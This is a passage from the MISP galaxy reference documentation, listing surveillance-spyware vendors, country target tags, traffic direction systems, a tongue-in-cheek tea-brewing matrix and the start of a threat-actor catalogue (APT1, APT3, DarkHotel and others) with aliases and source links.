https://www.bestphonespy.com/stealthgenie-review/

SpyBubble

SpyBubble is a spy app that lets you secretly spy on someone's phone. This spy app is compatible with a variety of mobile devices, including iPhone, Android, BlackBerry and Symbian, and it offers logging features for most cell phone activity. SpyBubble doesn't provide the blocking and restricting features that you will find in several similar applications. However, it has many useful features, and its monitoring features are excellent. Spybubble cell phone spy software was discontinued due to legal reasons

The tag is: *misp-galaxy:surveillance-vendor="SpyBubble"*

Table 6735. Table References

Links
https://www.bestphonespy.com/spybubble-review/

Cytrox

Cytrox's Israeli companies were founded in 2017 as Cytrox EMEA Ltd. and Cytrox Software Ltd. Perhaps taking a page from Candiru's corporate obfuscation playbook, both of those companies were renamed in 2019 to Balinese Ltd. and Peterbald Ltd., respectively. We also observed one entity in Hungary, Cytrox Holdings Zrt, which was also formed in 2017.

The tag is: *misp-galaxy:surveillance-vendor="Cytrox"*

Cytrox is also known as:

- Cytrox EMEA Ltd.

- Cytrox Software Ltd.
- Balinese Ltd.
- Peterbald Ltd.
- Cytrox Holdings Zrt

Table 6736. Table References

Links
https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/

RCSLab

RCS Lab S.p.A., Italian vendor likely using Tykelab Srl as a front company.

The tag is: *misp-galaxy:surveillance-vendor="RCSLab"*

Table 6737. Table References

Links
https://www.rcslab.it/en/index.html
https://www.lookout.com/blog/hermit-spyware-discovery
https://www.vice.com/en/article/nz75wd/european-surveillance-companies-agt-rcs-sell-syria-tools-of-oppression

Target Information

Description of targets of threat actors..

Target Information is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
: Unknown

Luxembourg

The tag is: *misp-galaxy:target-information="Luxembourg"*

Afghanistan

The tag is: *misp-galaxy:target-information="Afghanistan"*

Albania

The tag is: *misp-galaxy:target-information="Albania"*

Algeria

The tag is: *misp-galaxy:target-information="Algeria"*

American Samoa

The tag is: *misp-galaxy:target-information="American Samoa"*

Andorra

The tag is: *misp-galaxy:target-information="Andorra"*

Angola

The tag is: *misp-galaxy:target-information="Angola"*

Anguilla

The tag is: *misp-galaxy:target-information="Anguilla"*

Antarctica

The tag is: *misp-galaxy:target-information="Antarctica"*

Antigua and Barbuda

The tag is: *misp-galaxy:target-information="Antigua and Barbuda"*

Argentina

The tag is: *misp-galaxy:target-information="Argentina"*

Armenia

The tag is: *misp-galaxy:target-information="Armenia"*

Aruba

The tag is: *misp-galaxy:target-information="Aruba"*

Australia

The tag is: *misp-galaxy:target-information="Australia"*

Austria

The tag is: *misp-galaxy:target-information="Austria"*

Azerbaijan

The tag is: *misp-galaxy:target-information="Azerbaijan"*

Bahamas

The tag is: *misp-galaxy:target-information="Bahamas"*

Bahrain

The tag is: *misp-galaxy:target-information="Bahrain"*

Bangladesh

The tag is: *misp-galaxy:target-information="Bangladesh"*

Barbados

The tag is: *misp-galaxy:target-information="Barbados"*

Belarus

The tag is: *misp-galaxy:target-information="Belarus"*

Belgium

The tag is: *misp-galaxy:target-information="Belgium"*

Belize

The tag is: *misp-galaxy:target-information="Belize"*

Benin

The tag is: *misp-galaxy:target-information="Benin"*

Bermuda

The tag is: *misp-galaxy:target-information="Bermuda"*

Bhutan

The tag is: *misp-galaxy:target-information="Bhutan"*

Bolivia

The tag is: *misp-galaxy:target-information="Bolivia"*

Bosnia and Herzegovina

The tag is: *misp-galaxy:target-information="Bosnia and Herzegovina"*

Botswana

The tag is: *misp-galaxy:target-information="Botswana"*

Brazil

The tag is: *misp-galaxy:target-information="Brazil"*

British Indian Ocean Territory

The tag is: *misp-galaxy:target-information="British Indian Ocean Territory"*

British Virgin Islands

The tag is: *misp-galaxy:target-information="British Virgin Islands"*

Brunei

The tag is: *misp-galaxy:target-information="Brunei"*

Bulgaria

The tag is: *misp-galaxy:target-information="Bulgaria"*

Burkina Faso

The tag is: *misp-galaxy:target-information="Burkina Faso"*

Burundi

The tag is: *misp-galaxy:target-information="Burundi"*

Cambodia

The tag is: *misp-galaxy:target-information="Cambodia"*

Cameroon

The tag is: *misp-galaxy:target-information="Cameroon"*

Canada

The tag is: *misp-galaxy:target-information="Canada"*

Cape Verde

The tag is: *misp-galaxy:target-information="Cape Verde"*

Cayman Islands

The tag is: *misp-galaxy:target-information="Cayman Islands"*

Central African Republic

The tag is: *misp-galaxy:target-information="Central African Republic"*

Chad

The tag is: *misp-galaxy:target-information="Chad"*

Chile

The tag is: *misp-galaxy:target-information="Chile"*

China

The tag is: *misp-galaxy:target-information="China"*

Christmas Island

The tag is: *misp-galaxy:target-information="Christmas Island"*

Cocos Islands

The tag is: *misp-galaxy:target-information="Cocos Islands"*

Colombia

The tag is: *misp-galaxy:target-information="Colombia"*

Comoros

The tag is: *misp-galaxy:target-information="Comoros"*

Cook Islands

The tag is: *misp-galaxy:target-information="Cook Islands"*

Costa Rica

The tag is: *misp-galaxy:target-information="Costa Rica"*

Croatia

The tag is: *misp-galaxy:target-information="Croatia"*

Cuba

The tag is: *misp-galaxy:target-information="Cuba"*

Curaçao

The tag is: *misp-galaxy:target-information="Curaçao"*

Cyprus

The tag is: *misp-galaxy:target-information="Cyprus"*

Czech Republic

The tag is: *misp-galaxy:target-information="Czech Republic"*

Democratic Republic of the Congo

The tag is: *misp-galaxy:target-information="Democratic Republic of the Congo"*

Denmark

The tag is: *misp-galaxy:target-information="Denmark"*

Djibouti

The tag is: *misp-galaxy:target-information="Djibouti"*

Dominica

The tag is: *misp-galaxy:target-information="Dominica"*

Dominican Republic

The tag is: *misp-galaxy:target-information="Dominican Republic"*

East Timor

The tag is: *misp-galaxy:target-information="East Timor"*

Ecuador

The tag is: *misp-galaxy:target-information="Ecuador"*

Egypt

The tag is: *misp-galaxy:target-information="Egypt"*

El Salvador

The tag is: *misp-galaxy:target-information="El Salvador"*

Equatorial Guinea

The tag is: *misp-galaxy:target-information="Equatorial Guinea"*

Eritrea

The tag is: *misp-galaxy:target-information="Eritrea"*

Estonia

The tag is: *misp-galaxy:target-information="Estonia"*

Ethiopia

The tag is: *misp-galaxy:target-information="Ethiopia"*

Falkland Islands

The tag is: *misp-galaxy:target-information="Falkland Islands"*

Faroe Islands

The tag is: *misp-galaxy:target-information="Faroe Islands"*

Fiji

The tag is: *misp-galaxy:target-information="Fiji"*

Finland

The tag is: *misp-galaxy:target-information="Finland"*

France

The tag is: *misp-galaxy:target-information="France"*

French Polynesia

The tag is: *misp-galaxy:target-information="French Polynesia"*

Gabon

The tag is: *misp-galaxy:target-information="Gabon"*

Gambia

The tag is: *misp-galaxy:target-information="Gambia"*

Georgia

The tag is: *misp-galaxy:target-information="Georgia"*

Germany

The tag is: *misp-galaxy:target-information="Germany"*

Ghana

The tag is: *misp-galaxy:target-information="Ghana"*

Gibraltar

The tag is: *misp-galaxy:target-information="Gibraltar"*

Greece

The tag is: *misp-galaxy:target-information="Greece"*

Greenland

The tag is: *misp-galaxy:target-information="Greenland"*

Grenada

The tag is: *misp-galaxy:target-information="Grenada"*

Guam

The tag is: *misp-galaxy:target-information="Guam"*

Guatemala

The tag is: *misp-galaxy:target-information="Guatemala"*

Guernsey

The tag is: *misp-galaxy:target-information="Guernsey"*

Guinea

The tag is: *misp-galaxy:target-information="Guinea"*

Guinea-Bissau

The tag is: *misp-galaxy:target-information="Guinea-Bissau"*

Guyana

The tag is: *misp-galaxy:target-information="Guyana"*

Haiti

The tag is: *misp-galaxy:target-information="Haiti"*

Honduras

The tag is: *misp-galaxy:target-information="Honduras"*

Hong Kong

The tag is: *misp-galaxy:target-information="Hong Kong"*

Hungary

The tag is: *misp-galaxy:target-information="Hungary"*

Iceland

The tag is: *misp-galaxy:target-information="Iceland"*

India

The tag is: *misp-galaxy:target-information="India"*

Indonesia

The tag is: *misp-galaxy:target-information="Indonesia"*

Iran

The tag is: *misp-galaxy:target-information="Iran"*

Iraq

The tag is: *misp-galaxy:target-information="Iraq"*

Ireland

The tag is: *misp-galaxy:target-information="Ireland"*

Isle of Man

The tag is: *misp-galaxy:target-information="Isle of Man"*

Israel

The tag is: *misp-galaxy:target-information="Israel"*

Italy

The tag is: *misp-galaxy:target-information="Italy"*

Ivory Coast

The tag is: *misp-galaxy:target-information="Ivory Coast"*

Jamaica

The tag is: *misp-galaxy:target-information="Jamaica"*

Japan

The tag is: *misp-galaxy:target-information="Japan"*

Jersey

The tag is: *misp-galaxy:target-information="Jersey"*

Jordan

The tag is: *misp-galaxy:target-information="Jordan"*

Kazakhstan

The tag is: *misp-galaxy:target-information="Kazakhstan"*

Kenya

The tag is: *misp-galaxy:target-information="Kenya"*

Kiribati

The tag is: *misp-galaxy:target-information="Kiribati"*

Kosovo

The tag is: *misp-galaxy:target-information="Kosovo"*

Kuwait

The tag is: *misp-galaxy:target-information="Kuwait"*

Kyrgyzstan

The tag is: *misp-galaxy:target-information="Kyrgyzstan"*

Laos

The tag is: *misp-galaxy:target-information="Laos"*

Latvia

The tag is: *misp-galaxy:target-information="Latvia"*

Lebanon

The tag is: *misp-galaxy:target-information="Lebanon"*

Lesotho

The tag is: *misp-galaxy:target-information="Lesotho"*

Liberia

The tag is: *misp-galaxy:target-information="Liberia"*

Libya

The tag is: *misp-galaxy:target-information="Libya"*

Liechtenstein

The tag is: *misp-galaxy:target-information="Liechtenstein"*

Lithuania

The tag is: *misp-galaxy:target-information="Lithuania"*

Macau

The tag is: *misp-galaxy:target-information="Macau"*

North Macedonia

The tag is: *misp-galaxy:target-information="North Macedonia"*

Madagascar

The tag is: *misp-galaxy:target-information="Madagascar"*

Malawi

The tag is: *misp-galaxy:target-information="Malawi"*

Malaysia

The tag is: *misp-galaxy:target-information="Malaysia"*

Maldives

The tag is: *misp-galaxy:target-information="Maldives"*

Mali

The tag is: *misp-galaxy:target-information="Mali"*

Malta

The tag is: *misp-galaxy:target-information="Malta"*

Marshall Islands

The tag is: *misp-galaxy:target-information="Marshall Islands"*

Mauritania

The tag is: *misp-galaxy:target-information="Mauritania"*

Mauritius

The tag is: *misp-galaxy:target-information="Mauritius"*

Mayotte

The tag is: *misp-galaxy:target-information="Mayotte"*

Mexico

The tag is: *misp-galaxy:target-information="Mexico"*

Micronesia

The tag is: *misp-galaxy:target-information="Micronesia"*

Moldova

The tag is: *misp-galaxy:target-information="Moldova"*

Monaco

The tag is: *misp-galaxy:target-information="Monaco"*

Mongolia

The tag is: *misp-galaxy:target-information="Mongolia"*

Montenegro

The tag is: *misp-galaxy:target-information="Montenegro"*

Montserrat

The tag is: *misp-galaxy:target-information="Montserrat"*

Morocco

The tag is: *misp-galaxy:target-information="Morocco"*

Mozambique

The tag is: *misp-galaxy:target-information="Mozambique"*

Myanmar

The tag is: *misp-galaxy:target-information="Myanmar"*

Namibia

The tag is: *misp-galaxy:target-information="Namibia"*

Nauru

The tag is: *misp-galaxy:target-information="Nauru"*

Nepal

The tag is: *misp-galaxy:target-information="Nepal"*

Netherlands

The tag is: *misp-galaxy:target-information="Netherlands"*

Netherlands Antilles

The tag is: *misp-galaxy:target-information="Netherlands Antilles"*

New Caledonia

The tag is: *misp-galaxy:target-information="New Caledonia"*

New Zealand

The tag is: *misp-galaxy:target-information="New Zealand"*

Nicaragua

The tag is: *misp-galaxy:target-information="Nicaragua"*

Niger

The tag is: *misp-galaxy:target-information="Niger"*

Nigeria

The tag is: *misp-galaxy:target-information="Nigeria"*

Niue

The tag is: *misp-galaxy:target-information="Niue"*

North Korea

The tag is: *misp-galaxy:target-information="North Korea"*

Northern Mariana Islands

The tag is: *misp-galaxy:target-information="Northern Mariana Islands"*

Norway

The tag is: *misp-galaxy:target-information="Norway"*

Oman

The tag is: *misp-galaxy:target-information="Oman"*

Pakistan

The tag is: *misp-galaxy:target-information="Pakistan"*

Palau

The tag is: *misp-galaxy:target-information="Palau"*

Palestine

The tag is: *misp-galaxy:target-information="Palestine"*

Panama

The tag is: *misp-galaxy:target-information="Panama"*

Papua New Guinea

The tag is: *misp-galaxy:target-information="Papua New Guinea"*

Paraguay

The tag is: *misp-galaxy:target-information="Paraguay"*

Peru

The tag is: *misp-galaxy:target-information="Peru"*

Philippines

The tag is: *misp-galaxy:target-information="Philippines"*

Pitcairn

The tag is: *misp-galaxy:target-information="Pitcairn"*

Poland

The tag is: *misp-galaxy:target-information="Poland"*

Portugal

The tag is: *misp-galaxy:target-information="Portugal"*

Puerto Rico

The tag is: *misp-galaxy:target-information="Puerto Rico"*

Qatar

The tag is: *misp-galaxy:target-information="Qatar"*

Republic of the Congo

The tag is: *misp-galaxy:target-information="Republic of the Congo"*

Reunion

The tag is: *misp-galaxy:target-information="Reunion"*

Romania

The tag is: *misp-galaxy:target-information="Romania"*

Russia

The tag is: *misp-galaxy:target-information="Russia"*

Rwanda

The tag is: *misp-galaxy:target-information="Rwanda"*

Saint Barthelemy

The tag is: *misp-galaxy:target-information="Saint Barthelemy"*

Saint Helena

The tag is: *misp-galaxy:target-information="Saint Helena"*

Saint Kitts and Nevis

The tag is: *misp-galaxy:target-information="Saint Kitts and Nevis"*

Saint Lucia

The tag is: *misp-galaxy:target-information="Saint Lucia"*

Saint Martin

The tag is: *misp-galaxy:target-information="Saint Martin"*

Saint Pierre and Miquelon

The tag is: *misp-galaxy:target-information="Saint Pierre and Miquelon"*

Saint Vincent and the Grenadines

The tag is: *misp-galaxy:target-information="Saint Vincent and the Grenadines"*

Samoa

The tag is: *misp-galaxy:target-information="Samoa"*

San Marino

The tag is: *misp-galaxy:target-information="San Marino"*

Sao Tome and Principe

The tag is: *misp-galaxy:target-information="Sao Tome and Principe"*

Saudi Arabia

The tag is: *misp-galaxy:target-information="Saudi Arabia"*

Senegal

The tag is: *misp-galaxy:target-information="Senegal"*

Serbia

The tag is: *misp-galaxy:target-information="Serbia"*

Seychelles

The tag is: *misp-galaxy:target-information="Seychelles"*

Sierra Leone

The tag is: *misp-galaxy:target-information="Sierra Leone"*

Singapore

The tag is: *misp-galaxy:target-information="Singapore"*

Sint Maarten

The tag is: *misp-galaxy:target-information="Sint Maarten"*

Slovakia

The tag is: *misp-galaxy:target-information="Slovakia"*

Slovenia

The tag is: *misp-galaxy:target-information="Slovenia"*

Solomon Islands

The tag is: *misp-galaxy:target-information="Solomon Islands"*

Somalia

The tag is: *misp-galaxy:target-information="Somalia"*

South Africa

The tag is: *misp-galaxy:target-information="South Africa"*

South Korea

The tag is: *misp-galaxy:target-information="South Korea"*

South Sudan

The tag is: *misp-galaxy:target-information="South Sudan"*

Spain

The tag is: *misp-galaxy:target-information="Spain"*

Sri Lanka

The tag is: *misp-galaxy:target-information="Sri Lanka"*

Sudan

The tag is: *misp-galaxy:target-information="Sudan"*

Suriname

The tag is: *misp-galaxy:target-information="Suriname"*

Svalbard and Jan Mayen

The tag is: *misp-galaxy:target-information="Svalbard and Jan Mayen"*

Swaziland

The tag is: *misp-galaxy:target-information="Swaziland"*

Sweden

The tag is: *misp-galaxy:target-information="Sweden"*

Switzerland

The tag is: *misp-galaxy:target-information="Switzerland"*

Syria

The tag is: *misp-galaxy:target-information="Syria"*

Taiwan

The tag is: *misp-galaxy:target-information="Taiwan"*

Tajikistan

The tag is: *misp-galaxy:target-information="Tajikistan"*

Tanzania

The tag is: *misp-galaxy:target-information="Tanzania"*

Thailand

The tag is: *misp-galaxy:target-information="Thailand"*

Togo

The tag is: *misp-galaxy:target-information="Togo"*

Tokelau

The tag is: *misp-galaxy:target-information="Tokelau"*

Tonga

The tag is: *misp-galaxy:target-information="Tonga"*

Trinidad and Tobago

The tag is: *misp-galaxy:target-information="Trinidad and Tobago"*

Tunisia

The tag is: *misp-galaxy:target-information="Tunisia"*

Turkey

The tag is: *misp-galaxy:target-information="Turkey"*

Turkmenistan

The tag is: *misp-galaxy:target-information="Turkmenistan"*

Turks and Caicos Islands

The tag is: *misp-galaxy:target-information="Turks and Caicos Islands"*

Tuvalu

The tag is: *misp-galaxy:target-information="Tuvalu"*

U.S. Virgin Islands

The tag is: *misp-galaxy:target-information="U.S. Virgin Islands"*

Uganda

The tag is: *misp-galaxy:target-information="Uganda"*

Ukraine

The tag is: *misp-galaxy:target-information="Ukraine"*

United Arab Emirates

The tag is: *misp-galaxy:target-information="United Arab Emirates"*

United Kingdom

The tag is: *misp-galaxy:target-information="United Kingdom"*

United States

The tag is: *misp-galaxy:target-information="United States"*

United States is also known as:

- United States of America
- USA
- U.S.
- US
- America

Uruguay

The tag is: *misp-galaxy:target-information="Uruguay"*

Uzbekistan

The tag is: *misp-galaxy:target-information="Uzbekistan"*

Vanuatu

The tag is: *misp-galaxy:target-information="Vanuatu"*

Vatican

The tag is: *misp-galaxy:target-information="Vatican"*

Venezuela

The tag is: *misp-galaxy:target-information="Venezuela"*

Vietnam

The tag is: *misp-galaxy:target-information="Vietnam"*

Wallis and Futuna

The tag is: *misp-galaxy:target-information="Wallis and Futuna"*

Western Sahara

The tag is: *misp-galaxy:target-information="Western Sahara"*

Yemen

The tag is: *misp-galaxy:target-information="Yemen"*

Zambia

The tag is: *misp-galaxy:target-information="Zambia"*

Zimbabwe

The tag is: *misp-galaxy:target-information="Zimbabwe"*

TDS

TDS is a list of Traffic Direction System used by adversaries.

> TDS is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
: Kafeine

Keitaro

Keitaro TDS is among the mostly used TDS in drive by infection chains

The tag is: *misp-galaxy:tds="Keitaro"*

Table 6738. Table References

Links
https://keitarotds.com/

BlackTDS

BlackTDS is mutualised TDS advertised underground since end of December 2017

The tag is: *misp-galaxy:tds="BlackTDS"*

Table 6739. Table References

Links
.com/[https://blacktds[.com/

ShadowTDS

ShadowTDS is advertised underground since 2016-02. It's in fact more like a Social Engineering kit focused on Android and embedding a TDS

The tag is: *misp-galaxy:tds="ShadowTDS"*

Sutra

Sutra TDS was dominant from 2012 till 2015

The tag is: *misp-galaxy:tds="Sutra"*

Table 6740. Table References

Links
http://kytoon.com/sutra-tds.html

SimpleTDS

SimpleTDS is a basic open source TDS

The tag is: *misp-galaxy:tds="SimpleTDS"*

SimpleTDS is also known as:

- Stds

Table 6741. Table References

Links
https://sourceforge.net/projects/simpletds/

zTDS

zTDS is an open source TDS

The tag is: *misp-galaxy:tds="zTDS"*

Table 6742. Table References

Links
http://ztds.info/doku.php

BossTDS

BossTDS

The tag is: *misp-galaxy:tds="BossTDS"*

Table 6743. Table References

Links
http://bosstds.com/

BlackHat TDS

BlackHat TDS is sold underground.

The tag is: *misp-galaxy:tds="BlackHat TDS"*

Table 6744. Table References

Links
http://malware.dontneedcoffee.com/2014/04/meet-blackhat-tds.html

Futuristic TDS

Futuristic TDS is the TDS component of BlackOS/CookieBomb/NorthTale Iframer

The tag is: *misp-galaxy:tds="Futuristic TDS"*

Orchid TDS

Orchid TDS was sold underground. Rare usage

The tag is: *misp-galaxy:tds="Orchid TDS"*

Tea Matrix

Tea Matrix.

Tea Matrix is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Alexandre Dulaunoy

Multi infusion

Multi infusion is allow and recommended

The tag is: *misp-galaxy:tea-matrix="Multi infusion"*

Single infusion

Single infusion is recommended

The tag is: *misp-galaxy:tea-matrix="Single infusion"*

Water temp 90-95 degC

Water temperature 90-95 degC

The tag is: *misp-galaxy:tea-matrix="Water temp 90-95 degC"*

Water temp 80 degC

Water temperature 80 degC

The tag is: *misp-galaxy:tea-matrix="Water temp 80 degC"*

Brewing time 2-3 min

Brewing time 2-3 minutes

The tag is: *misp-galaxy:tea-matrix="Brewing time 2-3 min"*

Brewing time 3-4 min

Brewing time 3-4 minutes

The tag is: *misp-galaxy:tea-matrix="Brewing time 3-4 min"*

Milk in tea

Milk in tea

The tag is: *misp-galaxy:tea-matrix="Milk in tea"*

Threat Actor

Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign. threat-actor-classification meta can be used to clarify the understanding of the threat-actor if also considered as operation, campaign or activity group..

Threat Actor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Alexandre Dulaunoy - Florian Roth - Thomas Schreck - Timo Steffens - Various

APT1

PLA Unit 61398 (Chinese: 61398□□, Pinyin: 61398 bùduì) is the Military Unit Cover Designator (MUCD)[1] of a People’s Liberation Army advanced persistent threat unit that has been alleged to be a source of Chinese computer hacking attacks

The tag is: *misp-galaxy:threat-actor="APT1"*

APT1 is also known as:

- COMMENT PANDA
- PLA Unit 61398
- Comment Crew
- Byzantine Candor
- Group 3
- TG-8223
- Comment Group
- Brown Fox
- GIF89a

- ShadyRAT
- G0006

View relationships graph

APT1 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT1 - G0006" with estimative-language:likelihood-probability="likely"

Table 6745. Table References

Links
https://en.wikipedia.org/wiki/PLA_Unit_61398
http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf
https://www.cfr.org/interactive/cyber-operations/pla-unit-61398
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/the-siesta-campaign-a-new-targeted-attack-awakens/
https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-oceansalt-delivers-wave-after-wave/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=f1265df5-6e5e-4fcc-9828-d4ddbbafd3d7&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://attack.mitre.org/groups/G0006/
https://www.nytimes.com/2014/05/20/us/us-to-charge-chinese-workers-with-cyberspying.html
https://www.mandiant.com/resources/insights/apt-groups
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

Nitro

These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014.

The tag is: *misp-galaxy:threat-actor="Nitro"*

Nitro is also known as:

- Covert Grove

Table 6746. Table References

Links
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2011/the_nitro_attacks.pdf
https://unit42.paloaltonetworks.com/new-indicators-compromise-apt-group-nitro-uncovered/
https://blog.trendmicro.com/trendlabs-security-intelligence/the-significance-of-the-nitro-attacks/

Dust Storm

The tag is: *misp-galaxy:threat-actor="Dust Storm"*

Dust Storm is also known as:

- G0031

View relationships graph

Dust Storm has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Dust Storm - G0031" with estimative-language:likelihood-probability="likely"

Table 6747. Table References

Links
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf
https://web.archive.org/web/20140816135909/https://www.symantec.com/connect/blogs/inside-back-door-attack
https://attack.mitre.org/groups/G0031/

WET PANDA

The tag is: *misp-galaxy:threat-actor="WET PANDA"*

WET PANDA is also known as:

- Red Chimera

Table 6748. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

FOXY PANDA

Adversary group targeting telecommunication and technology organizations.

The tag is: *misp-galaxy:threat-actor="FOXY PANDA"*

Table 6749. Table References

Links
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492182276.pdf

PREDATOR PANDA

The tag is: *misp-galaxy:threat-actor="PREDATOR PANDA"*

Table 6750. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

UNION PANDA

The tag is: *misp-galaxy:threat-actor="UNION PANDA"*

Table 6751. Table References

Links
http://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Detecting-and-Responding-to-Pandas-and-Bears-Christopher-Scott-CrowdStrike-and-Wendi-Whitmore-IBM.pdf

SPICY PANDA

The tag is: *misp-galaxy:threat-actor="SPICY PANDA"*

Table 6752. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

ELOQUENT PANDA

The tag is: *misp-galaxy:threat-actor="ELOQUENT PANDA"*

Table 6753. Table References

Links
http://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Detecting-and-Responding-to-Pandas-and-Bears-Christopher-Scott-CrowdStrike-and-Wendi-Whitmore-IBM.pdf

DIZZY PANDA

The tag is: *misp-galaxy:threat-actor="DIZZY PANDA"*

DIZZY PANDA is also known as:

- LadyBoyle

APT2

Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'

The tag is: *misp-galaxy:threat-actor="APT2"*

APT2 is also known as:

- PLA Unit 61486
- PUTTER PANDA
- MSUpdater
- 4HCrew
- SULPHUR
- SearchFire
- TG-6952
- G0024

View relationships graph

APT2 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Putter Panda - G0024" with estimative-language:likelihood-probability="likely"

Table 6754. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://www.cfr.org/interactive/cyber-operations/putter-panda
https://attack.mitre.org/groups/G0024
https://www.mandiant.com/resources/insights/apt-groups
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

APT3

Symantec described UPS in 2016 report as: 'Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.'

The tag is: *misp-galaxy:threat-actor="APT3"*

APT3 is also known as:

- GOTHIC PANDA
- TG-0110
- Group 6
- UPS
- Buckeye
- Boyusec
- BORON
- BRONZE MAYFAIR
- Red Sylvan

View relationships graph

APT3 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT3 - G0022" with estimative-language:likelihood-probability="likely"

Table 6755. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html
https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://www.cfr.org/interactive/cyber-operations/apt-3
https://www.secureworks.com/research/threat-profiles/bronze-mayfair
https://www.mandiant.com/resources/insights/apt-groups
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

DarkHotel

Kaspersky described DarkHotel in a 2014 report as: '... DarkHotel drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crews most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world.'

The tag is: *misp-galaxy:threat-actor="DarkHotel"*

DarkHotel is also known as:

- DUBNIUM
- Fallout Team
- Karba
- Luder
- Nemim
- Nemin
- Tapaoux
- Pioneer
- Shadow Crane
- APT-C-06
- SIG25
- TUNGSTEN BRIDGE
- T-APT-02
- G0012
- ATK52

View relationships graph

DarkHotel has relationships with:

- similar: misp-galaxy:microsoft-activity-group="DUBNIUM" with estimative-language:likelihood-probability="likely"

Table 6756. Table References

Links
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2
https://securelist.com/blog/research/66779/the-darkhotel-apt/
https://securelist.com/the-darkhotel-apt/66779/

https://web.archive.org/web/20160104165148/http://drops.wooyun.org/tips/11726
https://labs.bitdefender.com/wp-content/uploads/downloads/inexsmar-an-unusual-darkhotel-campaign/
https://www.cfr.org/interactive/cyber-operations/darkhotel
https://www.securityweek.com/darkhotel-apt-uses-new-methods-target-politicians
https://attack.mitre.org/groups/G0012/
https://www.secureworks.com/research/threat-profiles/tungsten-bridge
https://www.antiy.cn/research/notice&report/research_report/20200522.html

APT12

A group of China-based attackers, who conducted a number of spear phishing attacks in 2013.

The tag is: *misp-galaxy:threat-actor="APT12"*

APT12 is also known as:

- NUMBERED PANDA
- TG-2754
- BeeBus
- Group 22
- DynCalc
- Calc Team
- DNSCalc
- Crimson Iron
- IXESHE
- BRONZE GLOBE

View relationships graph

APT12 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT12 - G0005" with estimative-language:likelihood-probability="likely"

Table 6757. Table References

Links
http://www.crowdstrike.com/blog/whois-numbered-panda/
https://www.cfr.org/interactive/cyber-operations/apt-12
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html
https://www.secureworks.com/research/threat-profiles/bronze-globe

https://www.mandiant.com/resources/insights/apt-groups

APT16

Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER.

